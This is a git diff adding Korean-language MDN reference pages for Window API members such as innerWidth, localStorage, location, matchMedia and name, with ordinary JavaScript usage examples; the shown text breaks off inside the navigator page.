+ <dt>{{domxref("Window/messageerror_event", "messageerror")}}</dt>
+ <dd>Fired when a <code>Window</code> object receives a message that can't be deserialized.<br>
+ Also available via the {{domxref("WindowEventHandlers/onmessageerror", "onmessageerror")}} property.</dd>
+</dl>
+
+<h3 id="Print_events">Print events</h3>
+
+<dl>
+ <dt>{{domxref("Window/afterprint_event", "afterprint")}}</dt>
+ <dd>Fired after the associated document has started printing or the print preview has been closed.<br>
+ Also available via the {{domxref("WindowEventHandlers/onafterprint", "onafterprint")}} property.</dd>
+ <dt>{{domxref("Window/beforeprint_event", "beforeprint")}}</dt>
+ <dd>Fired when the associated document is about to be printed or previewed for printing.<br>
+ Also available via the {{domxref("WindowEventHandlers/onbeforeprint", "onbeforeprint")}} property.</dd>
+</dl>
+
+<h3 id="Promise_rejection_events">Promise rejection events</h3>
+
+<dl>
+ <dt>{{domxref("Window/rejectionhandled_event", "rejectionhandled")}}</dt>
+ <dd>Sent every time a JavaScript {{jsxref("Promise")}} is rejected, regardless of whether or not there is a handler in place to catch the rejection.<br>
+ Also available through the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onrejectionhandled">onrejectionhandled</a></code> event handler property.</dd>
+ <dt>{{domxref("Window/unhandledrejection_event", "unhandledrejection")}}</dt>
+ <dd>Sent when a JavaScript {{jsxref("Promise")}} is rejected but there is no handler in place to catch the rejection.<br>
+ Also available using the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onunhandledrejection">onunhandledrejection</a></code> event handler property.</dd>
+</dl>
+
+<h3 id="Transition_events">Transition events</h3>
+
+<dl>
+ <dt>{{domxref("Window/transitioncancel_event", "transitioncancel")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is canceled.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitioncancel">ontransitioncancel</a></code> property.</dd>
+ <dt>{{domxref("Window/transitionend_event", "transitionend")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has completed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend">ontransitionend</a></code> property.</dd>
+ <dt>{{domxref("Window/transitionrun_event", "transitionrun")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is first created.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitionrun">ontransitionrun</a></code> property.</dd>
+ <dt>{{domxref("Window/transitionstart_event", "transitionstart")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has actually started.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitionstart">ontransitionstart</a></code> property.</dd>
+</dl>
+
+<h3 id="WebVR_events">WebVR events</h3>
+
+<dl>
+ <dt>{{domxref("Window/vrdisplayactivate_event", "vrdisplayactivate")}}</dt>
+ <dd>Fired when a VR display becomes available to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.<br>
+ Also available via the {{domxref("Window/onvrdisplayactivate", "onvrdisplayactivate")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplayblur_event", "vrdisplayblur")}}</dt>
+ <dd>Fired when presentation to a VR display has been paused for some reason by the browser, OS, or VR hardware.<br>
+ Also available via the {{domxref("Window/onvrdisplayblur", "onvrdisplayblur")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplayconnect_event", "vrdisplayconnect")}}</dt>
+ <dd>Fired when a compatible VR display is connected to the computer.<br>
+ Also available via the {{domxref("Window/onvrdisplayconnect", "onvrdisplayconnect")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaydeactivate_event", "vrdisplaydeactivate")}}</dt>
+ <dd>Fired when a VR display can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.<br>
+ Also available via the {{domxref("Window/onvrdisplaydeactivate", "onvrdisplaydeactivate")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaydisconnect_event", "vrdisplaydisconnect")}}</dt>
+ <dd>Fired when a compatible VR display is disconnected from the computer.<br>
+ Also available via the {{domxref("Window/onvrdisplaydisconnect", "onvrdisplaydisconnect")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplayfocus_event", "vrdisplayfocus")}}</dt>
+ <dd>Fired when presentation to a VR display has resumed after being blurred.<br>
+ Also available via the {{domxref("Window/onvrdisplayfocus", "onvrdisplayfocus")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaypresentchange_event", "vrdisplaypresentchange")}}</dt>
+ <dd>Fired when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.<br>
+ Also available via the {{domxref("Window/onvrdisplaypresentchange", "onvrdisplaypresentchange")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaypointerrestricted_event", "vrdisplaypointerrestricted")}}</dt>
+ <dd>Fired when the VR display's pointer input is restricted to consumption via a <a href="/en-US/docs/Web/API/Pointer_Lock_API">pointerlocked element</a>.<br>
+ Also available via the {{domxref("Window/onvrdisplaypointerrestricted", "onvrdisplaypointerrestricted")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaypointerunrestricted_event", "vrdisplaypointerunrestricted")}}</dt>
+ <dd>Fired when the VR display's pointer input is no longer restricted to consumption via a <a href="/en-US/docs/Web/API/Pointer_Lock_API">pointerlocked element</a>.<br>
+ Also available via the {{domxref("Window/onvrdisplaypointerunrestricted", "onvrdisplaypointerunrestricted")}} property.</dd>
+</dl>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p><a href="/ko/docs/Web/API/Document_Object_Model#DOM_인터페이스" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스</a>를 참고하세요.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window")}}</p>
diff --git a/files/ko/web/api/window/innerwidth/index.html b/files/ko/web/api/window/innerwidth/index.html
new file mode 100644
index 0000000000..129b4a9347
--- /dev/null
+++ b/files/ko/web/api/window/innerwidth/index.html
@@ -0,0 +1,78 @@
+---
+title: Window.innerWidth
+slug: Web/API/Window/innerWidth
+tags:
+ - API
+ - Property
+ - Reference
+translation_of: Web/API/Window/innerWidth
+---
+<p>{{APIRef}}<br>
+ 브라우저 윈도우의 뷰포트 너비로, 수직 스크롤바가 존재한다면 포함합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p> </p>
+
+<pre>var <var>intViewportWidth</var> = window.innerWidth;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p><strong><var>intViewportWidth</var></strong> stores the <code>window.innerWidth</code> property value.</p>
+
+<p>The <code>window.innerWidth</code> property is read only; it has no default value.</p>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>innerWidth 값은 window, frame, frameset이나 다른 윈도우들처럼 모든 window 형식의 객체에서 사용할 수 있습니다.</p>
+
+<p>There is <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=189112#c7" title="https://bugzilla.mozilla.org/show_bug.cgi?id=189112#c7">an algorithm</a> to obtain the width of the viewport excluding, if rendered, the vertical scrollbar.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 다음과 같이 뷰포트의 폭을 받아올 수 있습니다.
+var intFrameWidth = window.innerWidth;
+
+// 다음과 같이 frameset 안의 어떤 frame의 뷰포트 폭을 받아올 수 있습니다.
+var intFrameWidth = self.innerWidth;
+
+// 다음과 같이 가장 가까운 frameset의 뷰포트 폭을 받아올 수 있습니다.
+var intFramesetWidth = parent.innerWidth;
+
+// 다음과 같이 가장 바깥쪽 프레임셋의 뷰포트 폭을 받아올 수 있습니다.
+var intOuterFramesetWidth = top.innerWidth;</pre>
+
+<p>윈도우의 사이즈를 변경하려면, {{domxref("window.resizeBy")}} 또는 {{domxref("window.resizeTo")}}를 참조하세요.</p>
+
+<h2 id="Standards_information" name="Standards_information">명세</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#dom-window-innerwidth', 'window.innerWidth')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.innerWidth")}}</p>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li>{{domxref("window.outerWidth")}}</li>
+ <li>{{domxref("window.innerHeight")}}</li>
+ <li>{{domxref("window.outerHeight")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/length/index.html b/files/ko/web/api/window/length/index.html
new file mode 100644
index 0000000000..b2d61b92af
--- /dev/null
+++ b/files/ko/web/api/window/length/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.length
+slug: Web/API/Window/length
+translation_of: Web/API/Window/length
+---
+<div>{{ ApiRef() }}</div>
+
+<p>window의 frame 개수를 반환합니다. ({{HTMLElement("frame")}} 또는 {{HTMLElement("iframe")}} 요소들 중 하나) </p>
+
+<h2 id="신텍스">신텍스</h2>
+
+<pre class="syntaxbox"><em>framesCount</em> = window.length;
+</pre>
+
+<ul>
+ <li><code>framesCount</code> 는 frame의 개수이다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">if (window.length) {
+ // document의 subframes
+}</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','browsers.html#dom-length','Window.length')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-length', 'Window.length')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.length")}}</p>
diff --git a/files/ko/web/api/window/localstorage/index.html b/files/ko/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..328650bb16
--- /dev/null
+++ b/files/ko/web/api/window/localstorage/index.html
@@ -0,0 +1,92 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+tags:
+ - API
+ - Property
+ - Read-only
+ - Reference
+ - Storage
+ - Web Storage
+ - Window
+ - WindowLocalStorage
+ - 로컬스토리지
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p><span class="seoSummary"><code><strong>localStorage</strong></code><strong> </strong>읽기 전용 속성을 사용하면 {{domxref("Document")}} {{glossary("origin", "출처")}}의 {{domxref("Storage")}} 객체에 접근할 수 있습니다. 저장한 데이터는 브라우저 세션 간에 공유됩니다.</span> <code>localStorage</code>는 {{domxref("Window.sessionStorage", "sessionStorage")}}와 비슷하지만, <code>localStorage</code>의 데이터는 만료되지 않고 <code>sessionStorage</code>의 데이터는 페이지 세션이 끝날 때, 즉 페이지를 닫을 때 사라지는 점이 다릅니다. ("사생활 보호 모드" 중 생성한 <code>localStorage</code> 데이터는 마지막 "사생활 보호" 탭이 닫힐 때 지워집니다.)</p>
+
+<p><code>localStorage</code>에 저장한 자료는 <strong>페이지 프로토콜별로 구분</strong>합니다. 특히 HTTP(<a href="http://example.com">http://example.com</a>)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(<a href="https://example.com">https://example.com</a>)와는 다른 <code>localStorage</code>에 저장됩니다.</p>
+
+<p>키와 값은 <u>항상</u> 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="notranslate"><em>myStorage</em> = <em>window</em>.localStorage;</pre>
+
+<h3 id="값">값</h3>
+
+<p>현재 {{glossary("origin", "출처")}}의 로컬 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>요청이 정책의 결정을 위반했거나, 출처가 <a href="/ko/docs/Web/Security/Same-origin_policy#출처의_정의">유효한 스킴/호스트/포트 튜플</a>이 아닌 경우. 유효하지 않은 튜플은 출처가 <code>file:</code>이나 <code>data:</code> 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드는 현재 도메인의 로컬 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.</p>
+
+<pre class="brush: js notranslate">localStorage.setItem('myCat', 'Tom');
+</pre>
+
+<p>위에서 추가한 <code>localStorage</code> 항목을 읽는 법은 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">const cat = localStorage.getItem('myCat');</pre>
+
+<p>그리고 제거는 아래와 같습니다.</p>
+
+<pre class="brush: js notranslate">localStorage.removeItem('myCat');</pre>
+
+<p><code>localStorage</code> 항목의 전체 제거 구문입니다.</p>
+
+<pre class="brush: js notranslate">localStorage.clear();
+</pre>
+
+<div class="blockIndicator note">
+<p>참고: <a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a> 문서에서 전체 예제를 살펴보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Local_storage">Local storage with Window.localStorage</a></li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/location/index.html b/files/ko/web/api/window/location/index.html
new file mode 100644
index 0000000000..702857e02e
--- /dev/null
+++ b/files/ko/web/api/window/location/index.html
@@ -0,0 +1,213 @@
+---
+title: Window.location
+slug: Web/API/Window/location
+tags:
+ - API
+ - HTML
+ - Window
+ - 레퍼런스
+translation_of: Web/API/Window/location
+---
+<p>{{APIRef}}</p>
+
+<p><strong><code>Window.location</code></strong> 프로퍼티에 접근하면 읽기 전용인 {{domxref("Location")}} 오브젝트를 얻어올 수 있습니다. 이는 현재 도큐먼트의 로케이션에 대한 정보를 담고 있습니다.</p>
+
+<p>Though <code>Window.location</code> is a <em>read-only</em> <code>Location</code> object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with <code>location</code> as if it were a string in most cases: <code>location = 'http://www.example.com'</code> is a synonym of <code>location.href = 'http://www.example.com'</code>.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">var <em>oldLocation</em> = location;
+location = <em>newLocation</em>;
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="Basic_Example">Basic Example</h3>
+
+<pre class="brush: js">alert(location); // alerts "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"</pre>
+
+<h3 id="예제_1_새_페이지로_이동하기">예제 #1: 새 페이지로 이동하기</h3>
+
+<p>Whenever a new value is assigned to the location object, a document will be loaded using the URL as if <code>location.assign()</code> had been called with the modified URL. Note that security settings, like CORS, may prevent this to effectively happen.</p>
+
+<pre class="brush: js">location.assign("http://www.mozilla.org"); // 또는
+location = "http://www.mozilla.org";
+</pre>
+
+<h3 id="예제_2_서버로부터_현재_페이지_강제로_다시_로드하기">예제 #2: 서버로부터 현재 페이지 강제로 다시 로드하기</h3>
+
+<pre class="brush: js">location.reload(true);</pre>
+
+<h3 id="예제_3">예제 #3</h3>
+
+<p>Consider the following example, which will reload the page by using the <a href="/en-US/docs/Web/API/Location.replace"><code>replace()</code></a> method to insert the value of <code>location.pathname</code> into the hash:</p>
+
+<pre class="brush: js">function reloadPageWithHash() {
+ var initialPage = location.pathname;
+ location.replace('http://example.com/#' + initialPage);
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> The example above works in situations where <code>location.hash</code> does not need to be retained. However, in Gecko-based browsers, setting <code>location.pathname</code> in this manner will erase any information in <code>location.hash</code>, whereas in WebKit (and possibly other browsers), setting the pathname will not alter the hash. If you need to change pathname but keep the hash as is, use the <code>replace()</code> method instead, which should work consistently across browsers.</div>
+
+<h3 id="예제_4_Display_the_properties_of_the_current_URL_in_an_alert_dialog">예제 #4: Display the properties of the current URL in an alert dialog:</h3>
+
+<pre class="brush: js">function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// in html: &lt;button onclick="showLoc();"&gt;Show location properties&lt;/button&gt;
+</pre>
+
+<h3 id="예제_5_Send_a_string_of_data_to_the_server_by_modifying_the_search_property">예제 #5: Send a string of data to the server by modifying the <code>search</code> property:</h3>
+
+<pre class="brush: js">function sendData (sData) {
+ location.search = sData;
+}
+
+// in html: &lt;button onclick="sendData('Some data');"&gt;Send data&lt;/button&gt;
+</pre>
+
+<p>The current URL with "?Some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).</p>
+
+<h3 id="예제_6_Using_bookmarks_without_changing_the_hash_property">예제 #6: Using bookmarks without changing the <code>hash</code> property:</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"/&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script&gt;
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+&lt;/script&gt;
+&lt;style&gt;
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
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+&lt;p&gt;Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.&lt;/p&gt;
+&lt;p&gt;Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.&lt;/p&gt;
+&lt;p&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<div class="note"><strong>Note:</strong> The function <code>showNode</code> is also an example of the use of the <code><a href="/en/JavaScript/Reference/Statements/for" title="en/JavaScript/Reference/Statements/for">for</a></code> cycle without a <code>statement</code> section. In this case <strong>a semicolon is always put immediately after the declaration of the cycle</strong>.</div>
+
+<p>아래는 같은 역할을 하지만, 애니메이션 스크롤이 들어간 버전…:</p>
+
+<pre class="brush: js">var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame &gt; nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash &amp;&amp; _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId &gt; -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.location")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>The interface of the returned value, {{domxref("Location")}}.</li>
+ <li>A similar information, but attached to the document, {{domxref("Document.location")}}.</li>
+ <li><a href="/en/DOM/Manipulating_the_browser_history" title="en/DOM/Manipulating the browser history">Manipulating the browser history</a></li>
+ <li><a href="/en-US/docs/DOM/Mozilla_event_reference/hashchange" title="/en-US/docs/DOM/Mozilla_event_reference/hashchange">hashchange</a></li>
+</ul>
diff --git a/files/ko/web/api/window/matchmedia/index.html b/files/ko/web/api/window/matchmedia/index.html
new file mode 100644
index 0000000000..224edecbd1
--- /dev/null
+++ b/files/ko/web/api/window/matchmedia/index.html
@@ -0,0 +1,77 @@
+---
+title: Window.matchMedia()
+slug: Web/API/Window/matchMedia
+tags:
+ - API
+ - CSSOM View
+ - JavaScript
+ - Media Queries
+ - Method
+ - Reference
+translation_of: Web/API/Window/matchMedia
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.matchMedia()</code></strong> 메서드는 주어진 <a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리</a> 문자열의 분석 결과를 나타내는 {{domxref("MediaQueryList")}} 객체를 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">window.matchMedia(<em>mediaQueryString</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>mediaQueryString</code></dt>
+ <dd>분석할 미디어 쿼리를 나타내는 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 미디어 쿼리에 대한 {{domxref("MediaQueryList")}} 객체,</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>다음 예제는 화면이 매우 좁을 때 다른 작업을 수행합니다.</p>
+
+<pre class="brush: js">if (window.matchMedia("(min-width: 400px)").matches) {
+ /* 뷰포트 너비가 400 픽셀 이상 */
+} else {
+ /* 뷰포트 너비가 400 픽셀 미만 */
+}
+</pre>
+
+<p>더 많은 예제는 <a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries programmatically</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSSOM View", "#dom-window-matchmedia", "Window.matchMedia()")}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.matchMedia")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리 사용하기</a></li>
+ <li><a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a></li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/name/index.html b/files/ko/web/api/window/name/index.html
new file mode 100644
index 0000000000..54228c7183
--- /dev/null
+++ b/files/ko/web/api/window/name/index.html
@@ -0,0 +1,32 @@
+---
+title: Window.name
+slug: Web/API/Window/name
+tags:
+ - 참고
+ - 창
+translation_of: Web/API/Window/name
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>창의 이름을 얻거나/설정합니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>string</var> = window.name;
+window.name = <var>string</var>;
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">window.name = "lab_view";
+</pre>
+
+<h2 id="Notes" name="Notes">설명</h2>
+
+<p>창의 이름은 주로 하이퍼링크나 폼의 target으로 설정됩니다. 그외엔, 창은 이름을 가지는 것을 거의 필요로 하지 않습니다.</p>
+
+<p>또한 몇몇 프레임워크에서 창의 이름은 cross-domain messaging을 제공하기 위해 사용됩니다. (예를 들면, <a href="http://www.thomasfrank.se/sessionvars.html">SessionVars</a> 과 Dojo's <a href="http://www.sitepen.com/blog/2008/07/22/windowname-transport/">dojox.io.windowName</a>) 좀더 보안을 생각한다면 JSONP로 대체 될 수 있습니다. 하지만 최근 의 웹어플리케이션이 호스팅하는 민감한 데이터들은 cross-domain messaging을 이용하기 위해서 <code>window.name</code>에 의존해서는 안되며, 대신 <a href="/en-US/docs/Web/API/Window/postMessage">postMessage API</a>를 이용하는 방법이 있습니다.</p>
+
+<p><code>window.name</code>은 <code>toString</code> 메소드를 이용해 모든 값을 문자열로 변환합니다.</p>
diff --git a/files/ko/web/api/window/navigator/index.html b/files/ko/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..2c37903789
--- /dev/null
+++ b/files/ko/web/api/window/navigator/index.html
@@ -0,0 +1,44 @@
+---
+title: Window.navigator
+slug: Web/API/Window/navigator
+tags:
+ - API
+ - DOM
+ - Property
+ - Read-only
+ - Reference
+ - Window
+translation_of: Web/API/Window/navigator
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.navigator</code></strong> 읽기 전용 속성은 스크립트를 구동 중인 애플리케이션에 대한 메서드와 속성을 가진 {{domxref("Navigator")}} 객체의 참조를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>navigatorObject</em> = window.navigator</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
